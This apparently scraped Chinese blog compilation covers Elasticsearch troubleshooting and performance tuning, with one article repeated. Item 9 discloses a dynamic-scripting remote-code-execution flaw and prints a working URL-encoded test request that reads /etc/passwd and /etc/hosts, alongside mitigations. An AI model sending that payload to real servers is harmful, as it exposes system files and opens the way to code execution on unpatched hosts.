使用elasticsearch遇到的一些问题以及解决方法（不断更新）
1.由gc引起节点脱离集群
因为gc时会使jvm停止工作，如果某个节点gc时间过长，master ping3次（zen discovery默认ping失败重试3次）不通后就会把该节点剔除出集群，从而导致索引进行重新分配。
解决方法：
（1）优化gc，减少gc时间。
（2）调大zen discovery的重试次数（es参数：ping_retries）和超时时间（es参数：ping_timeout）。
后来发现根本原因是有个节点的系统所在硬盘满了。导致系统性能下降。
2.out of memory错误
因为默认情况下es对字段数据缓存（Field Data Cache）大小是无限制的，查询时会把字段值放到内存，特别是facet查询，对内存要求非常高，它会把结果都放在内存，然后进行排序等操作，一直使用内存，直到内存用完，当内存不够用时就有可能出现out of memory错误。
解决方法：
（1）设置es的缓存类型为Soft Reference，它的主要特点是据有较强的引用功能。只有当内存不够的时候，才进行回收这类内存，因此在内存足够的时候，它们通常不被回收。另外，这些引 用对象还能保证在Java抛出OutOfMemory 异常之前，被设置为null。它可以用于实现一些常用图片的缓存，实现Cache的功能，保证最大限度的使用内存而不引起OutOfMemory。在es的配置文件加上index.cache.field.type: soft即可。
（2）设置es最大缓存数据条数和缓存失效时间，通过设置index.cache.field.max_size: 50000来把缓存field的最大值设置为50000，设置index.cache.field.expire: 10m把过期时间设置成10分钟。
3.无法创建本地线程问题
es恢复时报错： RecoverFilesRecoveryException[[index][3] Failed to transfer [215] files with total size of [9.4gb]]; nested: OutOfMemoryError[unable to create new native thread]; ]]
刚开始以为是文件句柄数限制，但想到之前报的是too many open file这个错误，并且也把数据改大了。查资料得知一个进程的jvm进程的最大线程数为：虚拟内存/（堆栈大小*），也就是说虚拟内存越大或堆栈越小，能创建的线程越多。重新设置后还是会报那这错，按理说可创建线程数完全够用了的，就想是不是系统的一些限制。后来在网上找到说是max user processes的问题，这个值默认是1024，这个参数单看名字是用户最大打开的进程数，但看官方说明，就是用户最多可创建线程数，因为一个进程最少有一个线程，所以间接影响到最大进程数。调大这个参数后就没有报这个错了。
解决方法：
（1）增大jvm的heap内存或降低xss堆栈大小（默认的是512K）。
（2）打开/etc/security/limits.conf ，把soft
1024这行的1024改大就行了。
4.集群状态为黄色时并发插入数据报错
[7]: index [index], type [index], id [1569133], message [UnavailableShardsException[[index][1] [4] shardIt, [2] active : Timeout waiting for [1m], request: org.elasticsearch.action.bulk.BulkShardRequest@5989fa07]]
这是错误信息，当时集群状态为黄色，即副本没有分配。当时副本设置为2，只有一个节点，当你设置的副本大于可分配的机器时，此时如果你插入数据就有可能报上面的错，因为es的写一致性默认是使用quorum，即quorum值必须大于（副本数/2+1），我这里2/2+1=2也就是说要要至少插入到两份索引中，由于只有一个节点，quorum等于1，所以只插入到主索引，副本找不到从而报上面那个错。
解决方法：
（1）去掉没分配的副本。
（2）把写一致性改成one，即只写入一份索引就行。
5.设置jvm锁住内存时启动警告
当设置bootstrap.mlockall: true时，启动es报警告Unknown mlockall error 0，因为linux系统默认能让进程锁住的内存为45k。
解决方法：设置为无限制，linux命令：ulimit -l unlimited
6.错误使用api导致集群卡死
其实这个是很低级的错误。功能就是更新一些数据，可能会对一些数据进行删除，但删除时同事使用了deleteByQuery这个接口，通过构造BoolQuery把要删除数据的id传进去，查出这些数据删除。但问题是BoolQuery最多只支持1024个条件，100个条件都已经很多了，所以这样的查询一下子就把es集群卡死了。
解决方法：用bulkRequest进行批量删除操作。
7.org.elasticsearch.transport.RemoteTransportException: Failed to deserialize exception response from stream
原因:es节点之间的JDK版本不一样
解决方法：统一JDK环境
1） 端口错
client = new TransportClient().addTransportAddress(new InetSocketTransportAddress(ipAddress, 9300));
这里9300 写成9200的话会No node available
要是你连的不是本机，注意IP有没有正确
2 ）jar报引用版本不匹配，开启的服务是什么版本，引用的jar最好匹配（这个我没有去试，反正我的是匹配的）
3） 要是你改了集群名字，还有设置集群名字
Settings settings = ImmutableSettings.settingsBuilder().put("cluster.name", "xxx").build(); client = new TransportClient(settings).addTransportAddress(new InetSocketTransportAddress(ipAddress, 9300));
4）集群超过5s没有响应
解决方法1.设置client.transport.ping_timeout设大
2.代码内加入while (true) {
bulk.execute().actionGet(getRetryTimeout());
catch (NoNodeAvailableException cont) {
Thread.sleep(5000);
9.elasticsearch 近日被发现漏洞，可以远程执行任意代码，由于
elasticsearch提供了http接口，导致可能通过CSRF等方式借助恶意页面浏览发生攻击 。
漏洞影响版本:
elasticsearch 1.2以下
测试代码：
http:// ESSERVERIP :9200/_search?source=%7B%22size%22%3A1%2C%22query%22%3A%7B%22filtered%22%3A%7B%22query%22%3A%7B%22match_all%22%3A%7B%7D%7D%7D%7D%2C%22script_fields%22%3A%7B%22%2Fetc%2Fhosts%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fhosts%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%2C%22%2Fetc%2Fpasswd%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fpasswd%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%7D%7D&callback=jQuery&_=9
浏览器会返回/etc/passwd内容
解决方案 ：
1、在配置文件elasticsearch.yml里设置script.disable_dynamic: true
2、严格限制可访问elasticsearch服务的IP地址
http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html#_disabling_dynamic_scripts
重启后报503错误
详情如此下：
[ 17:42:33,499][WARN ][transport.netty
] [Erik Magnus Lehnsherr] Message not fully read (request) for [4961353] and
action [discovery/zen/join/validate], resetting
[ 17:42:33,522][INFO ][discovery.zen
] [Erik Magnus Lehnsherr] failed to send join request to master [[Red Lotus][
UG2WbJpDTHOB-EjzJFRsow][n025.corp.ncfgroup.com][inet[/10.18.6.25:9300]]], reason [org.elasticsearch.transport.RemoteTransportException:
[Red Lotus][inet[/10.18.6.25:9300]][discovery/zen/join]; org.elasticsearch.transport.RemoteTransportException: [Erik Magnus Lehnsherr]
[inet[/10.18.6.90:9300]][discovery/zen/join/validate]; org.elasticsearch.ElasticsearchIllegalArgumentException: No custom index metadat
a factory registered for type [rivers]]
问题原因：都采用默认集群名字的话，不同人不同I配置发到集群会进行连接并选Master，有时候可能因为IP限制连接不上。
更改：自己的测试服务尽量个性命名
参考文献： http://blog.csdn.net/laigood/article/details/8193170
http://blog.csdn.net/july_2/article/details/
elasticSearch集群安装部署
elasticsearch
生产环境下一个主节点突然加入不了集群
failed to send join request to master
no route to host
elasticsearch集群内部节点超时解决
Elasticsearch5.2.1集群搭建，动态加入节点，并添加监控诊断插件
elasticsearch的分布式配置
Elasticsearch常见问题收集
使用elasticsearch遇到的一些问题以及解决方法
没有更多推荐了，原创博客，转载请联系博主！
（零）ElasticSearch架构概述
ElasticSearch是现在技术前沿的大数据引擎，常见的组合有ES+Logstash+Kibana作为一套成熟的日志系统，其中Logstash是ETL工具，Kibana是数据分析展示平台。ES让人惊艳的是他强大的搜索相关能力和灾备策略，ES开放了一些接口供开发者研发自己的插件，ES结合中文分词的插件会给ES的搜索和分析起到很大的推动作用。ElasticSearch是使用开源全文检索库ApacheLucene进行索引和搜索的，说架构必须和Lucene的一些东西打交道。
关于Lucene：
ApacheLucene将写入索引的所有信息组织成一种倒排索引（Inverted Index）的结构之中，该结构是种将词项映射到文档的数据结构。其工作方式与传统的关系数据库不同，大致来说倒排索引是面向词项而不是面向文档的。且Lucene索引之中还存储了很多其他的信息，如词向量等等，每个Lucene都是由多个段构成的，每个段只会被创建一次但会被查询多次，段一旦创建就不会再被修改。多个段会在段合并的阶段合并在一起，何时合并由Lucene的内在机制决定，段合并后数量会变少，但是相应的段本身会变大。段合并的过程是非常消耗I/O的，且与之同时会有些不再使用的信息被清理掉。在Lucene中，将数据转化为倒排索引，将完整串转化为可用于搜索的词项的过程叫做分析。文本分析由分析器（Analyzer）来执行，分析其由分词器（Tokenizer），过滤器（Filter）和字符映射器（Character Mapper）组成，其各个功能显而易见。除此之外，Lucene有自己的一套完整的查询语言来帮助我们进行搜索和读写。
&[注]ES中的索引指的是查询/寻址时URI中的一个字段如：[host]：[port（9200）]/[index]/[type]/[ID]?[option]，而Lucene中的索引更多地和ES中的分片的概念相对应。
回到ElasticSearch，ES的架构遵循的设计理念有以下几个特征：
1. 合理的默认配置：只需修改节点中的Yaml配置文件，就可以迅捷配置。这和Spring4中对配置的简化有相似的地方。
2. 分布式工作模式：ES强大的Zen发现机制不仅支持组广播也支持点单播，且有&知一点即知天下&之妙。
3. 对等架构：节点之间自动备份分片，且使分片本身和样本之间尽量&远离&，可以避免单点故障。且Master节点和Data节点几乎完全等价。
4. 易于向集群扩充新节点：大大简化研发或运维将新节点加入集群所需的工作。
5. 不对索引中的数据结构增加任何限制：ES支持在一个索引之中存在多种数据类型。
6. 准实时：搜索和版本同步，由于ES是分布式应用，一个重大的挑战就是一致性问题，无论索引还是文档数据，然而事实证明ES表现优秀。
（一）分片策略
选择合适的分片数和副本数。ES的分片分为两种，主分片（Primary Shard）和副本（Replicas）。默认情况下，ES会为每个索引创建5个分片，即使是在单机环境下，这种冗余被称作过度分配（Over Allocation），目前看来这么做完全没有必要，仅在散布文档到分片和处理查询的过程中就增加了更多的复杂性，好在ES的优秀性能掩盖了这一点。假设一个索引由一个分片构成，那么当索引的大小超过单个节点的容量的时候，ES不能将索引分割成多份，因此必须在创建索引的时候就指定好需要的分片数量。此时我们所能做的就是创建一个新的索引，并在初始设定之中指定这个索引拥有更多的分片。反之如果过度分配，就增大了Lucene在合并分片查询结果时的复杂度，从而增大了耗时，所以我们得到了以下结论：
我们应该使用最少的分片！
主分片，副本和节点最大数之间数量存在以下关系：
节点数&=主分片数*（副本数+1）
&控制分片分配行为。以上是在创建每个索引的时候需要考虑的优化方法，然而在索引已创建好的前提下，是否就是没有办法从分片的角度提高了性能了呢？当然不是，首先能做的是调整分片分配器的类型，具体是在elasticsearch.yml中设置cluster.routing.allocation.type属性，共有两种分片器even_shard,balanced（默认）。even_shard是尽量保证每个节点都具有相同数量的分片，balanced是基于可控制的权重进行分配，相对于前一个分配器，它更暴漏了一些参数而引入调整分配过程的能力。
每次ES的分片调整都是在ES上的数据分布发生了变化的时候进行的，最有代表性的就是有新的数据节点加入了集群的时候。当然调整分片的时机并不是由某个阈值触发的，ES内置十一个裁决者来决定是否触发分片调整，这里暂不赘述。另外，这些分配部署策略都是可以在运行时更新的，更多配置分片的属性也请大家自行Google。
（二）路由优化
ES中所谓的路由和IP网络不同，是一个类似于Tag的东西。在创建文档的时候，可以通过字段为文档增加一个路由属性的Tag。ES内在机制决定了拥有相同路由属性的文档，一定会被分配到同一个分片上，无论是主分片还是副本。那么，在查询的过程中，一旦指定了感兴趣的路由属性，ES就可以直接到相应的分片所在的机器上进行搜索，而避免了复杂的分布式协同的一些工作，从而提升了ES的性能。于此同时，假设机器1上存有路由属性A的文档，机器2上存有路由属性为B的文档，那么我在查询的时候一旦指定目标路由属性为A，即使机器2故障瘫痪，对机器1构不成很大影响，所以这么做对灾况下的查询也提出了解决方案。所谓的路由，本质上是一个分桶（Bucketing）操作。当然，查询中也可以指定多个路由属性，机制大同小异。
（三）ES上的GC调优
ElasticSearch本质上是个Java程序，所以配置JVM垃圾回收器本身也是一个很有意义的工作。我们使用JVM的Xms和Xmx参数来提供指定内存大小，本质上提供的是JVM的堆空间大小，当JVM的堆空间不足的时候就会触发致命的OutOfMemoryException。这意味着要么内存不足，要么出现了内存泄露。处理GC问题，首先要确定问题的源头，一般有两种方案：
1. 开启ElasticSearch上的GC日志
2. 使用jstat命令
3. 生成内存Dump
关于第一条，在ES的配置文件elasticsearch.yml中有相关的属性可以配置，关于每个属性的用途这里当然说不完。
第二条，jstat命令可以帮助我们查看JVM堆中各个区的使用情况和GC的耗时情况。
第三条，最后的办法就是将JVM的堆空间转储到文件中去，实质上是对JVM堆空间的一个快照。
想了解更多关于JVM本身GC调优方法请参考：
另外，通过修改ES节点的启动参数，也可以调整GC的方式，但是实质上和上述方法是等同的。
（四）避免内存交换
这一点很简单，由于操作系统的虚拟内存页交换机制，会给性能带来障碍，如数据写满内存会写入Linux中的Swap分区。
可以通过在elasticsearch.yml文件中的bootstrap.mlockall设置为true来实现，但是需要管理员权限，需要修改操作系统的相关配置文件。
（五）控制索引合并
上文提到过，ES中的分片和副本本质上都是Lucene索引，而Lucene索引又基于多个索引段构建（至少一个），索引文件中的绝大多数都是只被写一次，读多次，在Lucene内在机制控制下，当满足某种条件的时候多个索引段会被合并到一个更大的索引段，而那些旧的索引段会被抛弃并移除磁盘，这个操作叫做段合并。&
Lucene要执行段合并的理由很简单充分：索引段粒度越小，查询性能越低且耗费的内存越多。频繁的文档更改操作会导致大量的小索引段，从而导致文件句柄打开过多的问题，如修改系统配置，增大系统允许的最大文件打开数。总的来讲，当索引段由多一个合并为一个的时候，会减少索引段的数量从而提高ES性能。对于研发者来讲，我们所能做的就是选择合适的合并策略，尽管段合并完全是Lucene的任务，但随着Lucene开放更多配置借口，新版本的ES还是提供了三种合并的策略tiered，log_byte_size，log_doc。另外，ES也提供了两种Lucene索引段合并的调度器：concurrent和serial。其中各者具体区别，这里暂不赘述，只是抛砖引玉。
打字好累，大家晚安。
阅读(...) 评论()你的浏览器禁用了JavaScript, 请开启后刷新浏览器获得更好的体验!
es的内存越来越大，cms感觉效率太低
之前版本，官方是有文档明确说明不要用G1。 因为根据Lucene的stress test，发现某些版本JAVA G1存在的Bug，会造成Lucene的段文件损坏。
在5.0以后，官方文档没有明确说是否可以使用G1，但是ES启动过程中有一个针对G1 GC的JVM版本校验
其隐含的意思是说，使用 JDK 8u40以上版本，启用G1应该是安全的。
不过，根据经验，在使用ES过程中遇到长时间GC问题时，通常需要调整的不是JVM，而是Query本身。特别是，频繁OLD GC过后, 释放不了Heap空间的情况下，用CMS还是G1不会有什么分别。
这个和es没得关系，G1是JAVA的垃圾回收器，只要JDK版本支持，那就没问题，在elasticsearch.in.sh中通过设置JAVA_OPTS属性可以达到你使用G1的目的
正在使用中。目前生产环境每天50GB，约2.5亿条日志，没有出过问题。
要回复问题请先或
浏览: 1023
关注: 4 人追逐梦想的心
Es优化（二）
亿级规模的ES查询优化实战
能用filter就不用query
filter拿到相应的doc后不计算score不用排序
query会对符合条件的doc计算score并进行排序
filter的查询速度比query快很多
增加相关cache的配置
indices.cache.filter.size: 30%
indices.fielddata.cache.size: 60%
index.cache.field.type: soft
indices.breaker.fielddata.limit: 70%
优化方案——总结
能用filter就不用query
增加冗余字段将部分range aggregation查询变成terms aggregation
为常用字段增加配置，将fielddata的loading设成eager，尽量多加载到内存
增加集群的缓存资源，把内存尽量多的用起来
Global ordinals
Index warmer
调整aggregation的collect_mode
Elasticsearch索引速度优化
index.refresh_interval :-1
index.number_of_shards : X
index.number_of_replicas : 0
index.translog.sync_interval : 30s
index.translog.durability : “async”
index.translog.flush_threshold_size: 4g
index.translog.flush_threshold_ops: 50000
去掉_all字段可节省一半空间
开启索引压缩可节省空间，但会有10%-20%的性能损耗
不需分词的字符串字段设成not_analyzed
========================================
（零）ElasticSearch架构概述
ElasticSearch是现在技术前沿的大数据引擎，常见的组合有ES+Logstash+Kibana作为一套成熟的日志系统，其中Logstash是ETL工具，Kibana是数据分析展示平台。ES让人惊艳的是他强大的搜索相关能力和灾备策略，ES开放了一些接口供开发者研发自己的插件，ES结合中文分词的插件会给ES的搜索和分析起到很大的推动作用。ElasticSearch是使用开源全文检索库ApacheLucene进行索引和搜索的，说架构必须和Lucene的一些东西打交道。
关于Lucene：
ApacheLucene将写入索引的所有信息组织成一种倒排索引（Inverted Index）的结构之中，该结构是种将词项映射到文档的数据结构。其工作方式与传统的关系数据库不同，大致来说倒排索引是面向词项而不是面向文档的。且Lucene索引之中还存储了很多其他的信息，如词向量等等，每个Lucene都是由多个段构成的，每个段只会被创建一次但会被查询多次，段一旦创建就不会再被修改。多个段会在段合并的阶段合并在一起，何时合并由Lucene的内在机制决定，段合并后数量会变少，但是相应的段本身会变大。段合并的过程是非常消耗I/O的，且与之同时会有些不再使用的信息被清理掉。在Lucene中，将数据转化为倒排索引，将完整串转化为可用于搜索的词项的过程叫做分析。文本分析由分析器（Analyzer）来执行，分析其由分词器（Tokenizer），过滤器（Filter）和字符映射器（Character
Mapper）组成，其各个功能显而易见。除此之外，Lucene有自己的一套完整的查询语言来帮助我们进行搜索和读写。
[注]ES中的索引指的是查询/寻址时URI中的一个字段如：[host]：[port（9200）]/[index]/[type]/[ID]?[option]，而Lucene中的索引更多地和ES中的分片的概念相对应。
回到ElasticSearch，ES的架构遵循的设计理念有以下几个特征：
1. 合理的默认配置：只需修改节点中的Yaml配置文件，就可以迅捷配置。这和Spring4中对配置的简化有相似的地方。
2. 分布式工作模式：ES强大的Zen发现机制不仅支持组广播也支持点单播，且有“知一点即知天下”之妙。
3. 对等架构：节点之间自动备份分片，且使分片本身和样本之间尽量”远离“，可以避免单点故障。且Master节点和Data节点几乎完全等价。
4. 易于向集群扩充新节点：大大简化研发或运维将新节点加入集群所需的工作。
5. 不对索引中的数据结构增加任何限制：ES支持在一个索引之中存在多种数据类型。
6. 准实时：搜索和版本同步，由于ES是分布式应用，一个重大的挑战就是一致性问题，无论索引还是文档数据，然而事实证明ES表现优秀。
（一）分片策略
选择合适的分片数和副本数。ES的分片分为两种，主分片（Primary Shard）和副本（Replicas）。默认情况下，ES会为每个索引创建5个分片，即使是在单机环境下，这种冗余被称作过度分配（Over Allocation），目前看来这么做完全没有必要，仅在散布文档到分片和处理查询的过程中就增加了更多的复杂性，好在ES的优秀性能掩盖了这一点。假设一个索引由一个分片构成，那么当索引的大小超过单个节点的容量的时候，ES不能将索引分割成多份，因此必须在创建索引的时候就指定好需要的分片数量。此时我们所能做的就是创建一个新的索引，并在初始设定之中指定这个索引拥有更多的分片。反之如果过度分配，就增大了Lucene在合并分片查询结果时的复杂度，从而增大了耗时，所以我们得到了以下结论：
我们应该使用最少的分片！
主分片，副本和节点最大数之间数量存在以下关系：
节点数&=主分片数*（副本数+1）
控制分片分配行为。以上是在创建每个索引的时候需要考虑的优化方法，然而在索引已创建好的前提下，是否就是没有办法从分片的角度提高了性能了呢？当然不是，首先能做的是调整分片分配器的类型，具体是在elasticsearch.yml中设置cluster.routing.allocation.type属性，共有两种分片器even_shard,balanced（默认）。even_shard是尽量保证每个节点都具有相同数量的分片，balanced是基于可控制的权重进行分配，相对于前一个分配器，它更暴漏了一些参数而引入调整分配过程的能力。
每次ES的分片调整都是在ES上的数据分布发生了变化的时候进行的，最有代表性的就是有新的数据节点加入了集群的时候。当然调整分片的时机并不是由某个阈值触发的，ES内置十一个裁决者来决定是否触发分片调整，这里暂不赘述。另外，这些分配部署策略都是可以在运行时更新的，更多配置分片的属性也请大家自行Google。
（二）路由优化
ES中所谓的路由和IP网络不同，是一个类似于Tag的东西。在创建文档的时候，可以通过字段为文档增加一个路由属性的Tag。ES内在机制决定了拥有相同路由属性的文档，一定会被分配到同一个分片上，无论是主分片还是副本。那么，在查询的过程中，一旦指定了感兴趣的路由属性，ES就可以直接到相应的分片所在的机器上进行搜索，而避免了复杂的分布式协同的一些工作，从而提升了ES的性能。于此同时，假设机器1上存有路由属性A的文档，机器2上存有路由属性为B的文档，那么我在查询的时候一旦指定目标路由属性为A，即使机器2故障瘫痪，对机器1构不成很大影响，所以这么做对灾况下的查询也提出了解决方案。所谓的路由，本质上是一个分桶（Bucketing）操作。当然，查询中也可以指定多个路由属性，机制大同小异。
（三）ES上的GC调优
ElasticSearch本质上是个Java程序，所以配置JVM垃圾回收器本身也是一个很有意义的工作。我们使用JVM的Xms和Xmx参数来提供指定内存大小，本质上提供的是JVM的堆空间大小，当JVM的堆空间不足的时候就会触发致命的OutOfMemoryException。这意味着要么内存不足，要么出现了内存泄露。处理GC问题，首先要确定问题的源头，一般有两种方案：
1. 开启ElasticSearch上的GC日志
2. 使用jstat命令
3. 生成内存Dump
关于第一条，在ES的配置文件elasticsearch.yml中有相关的属性可以配置，关于每个属性的用途这里当然说不完。
第二条，jstat命令可以帮助我们查看JVM堆中各个区的使用情况和GC的耗时情况。
第三条，最后的办法就是将JVM的堆空间转储到文件中去，实质上是对JVM堆空间的一个快照。
想了解更多关于JVM本身GC调优方法请参考：
另外，通过修改ES节点的启动参数，也可以调整GC的方式，但是实质上和上述方法是等同的。
（四）避免内存交换
这一点很简单，由于操作系统的虚拟内存页交换机制，会给性能带来障碍，如数据写满内存会写入Linux中的Swap分区。
可以通过在elasticsearch.yml文件中的bootstrap.mlockall设置为true来实现，但是需要管理员权限，需要修改操作系统的相关配置文件。
（五）控制索引合并
上文提到过，ES中的分片和副本本质上都是Lucene索引，而Lucene索引又基于多个索引段构建（至少一个），索引文件中的绝大多数都是只被写一次，读多次，在Lucene内在机制控制下，当满足某种条件的时候多个索引段会被合并到一个更大的索引段，而那些旧的索引段会被抛弃并移除磁盘，这个操作叫做段合并。
Lucene要执行段合并的理由很简单充分：索引段粒度越小，查询性能越低且耗费的内存越多。频繁的文档更改操作会导致大量的小索引段，从而导致文件句柄打开过多的问题，如修改系统配置，增大系统允许的最大文件打开数。总的来讲，当索引段由多一个合并为一个的时候，会减少索引段的数量从而提高ES性能。对于研发者来讲，我们所能做的就是选择合适的合并策略，尽管段合并完全是Lucene的任务，但随着Lucene开放更多配置借口，新版本的ES还是提供了三种合并的策略tiered，log_byte_size，log_doc。另外，ES也提供了两种Lucene索引段合并的调度器：concurrent和serial。其中各者具体区别，这里暂不赘述，只是抛砖引玉。
========================================================================
如何提高ES的性能
不要返回较大的结果集
ES是设计成一个搜索引擎的，只擅长返回匹配查询较少文档，如果需要返回非常多的文档需要使用Scroll。
因为ES是基于Lucene来索引和存储数据的，所以对稠密的数据更有效。Lucene能够有效的确定文档是通过一个整数的文档id，无论有没有数据都会话费一个字节存储id。稀疏主要影响norms和doc_values，一些可以避免稀疏的推荐：
避免将不相关的数据放到相同的索引中
规范的文档结构
使用相同的字段名来保存同样的数据。
不用norms和doc_values在稀疏字段
调整索引速度
使用bulk请求
并且每个请求不超过几十M，因为太大会导致内存使用过大
使用 multiple workers/threads发送数据到ES
多进程或者线程，如果看到TOO_MANY_REQUESTS
(429)和EsRejectedExecutionException则说明ES跟不上索引的速度，当集群的I/O或者CPU饱和就得到了工作者的数量。
增加刷新间隔
index.refresh_interval默认是1s，可以改成30s以减少合并压力。
在加载大量数据时候可以暂时不用refresh和repliccas
index.refresh_interval to -1 and index.number_of_replicas to 0
禁用swapping
给文件缓存分配内存
缓存是用来缓存I/O操作的，至少用一般的内存来运行ES文件缓存。
使用更快的硬件
使用SSD作为存储设备。使用本地存储，避免使用NFS或者SMB注意使用虚拟存储，比如亚马逊的EBS
索引缓冲大小
indices.memory.index_buffer_size通常是JVM的0.1，确保他足够处理至多512MB的索引。
调整搜索速度
给文件系统缓存大内存
至少给可用内存的一半到文件系统缓存。
使用更快的硬件
使用SSD作为存储设备。使用性能更好的CPU，高并发使用本地存储，避免使用NFS或者SMB注意使用虚拟存储，比如亚马逊的EBS
避免链接，嵌套会使查询慢几倍，而亲自关系能使查询慢几百倍，所以如果同样的问题可以通过没有链接的非规范回答就可以提升速度。
预索引数据
数值型数据不一定要映射成整形或者长整型
避免scripts
如果实在要使用，就用painless和expressions
不要强势合并正在写的索引
准备全局顺序
准备文件系统缓存
index.store.preload，如果内存不是很大会使搜索变得缓慢。
禁用不需要的功能
不需要过滤时可以禁用索引“index”：false如果你不需要text字段的score，可以禁用”norms”：false如果不需要短语查询可以不索引positions"indexe_options":"freqs"
使用best_compression
使用最小的足够用的数值类型
byte,short,integer,long
half_float,float,double
ＥＳ优化总结
ES索引写入性能优化
Elasticsearch写入性能优化
Hive性能优化（全面）
Elasticsearch 集群优化篇
es性能调优
ES常规基础优化措施
没有更多推荐了，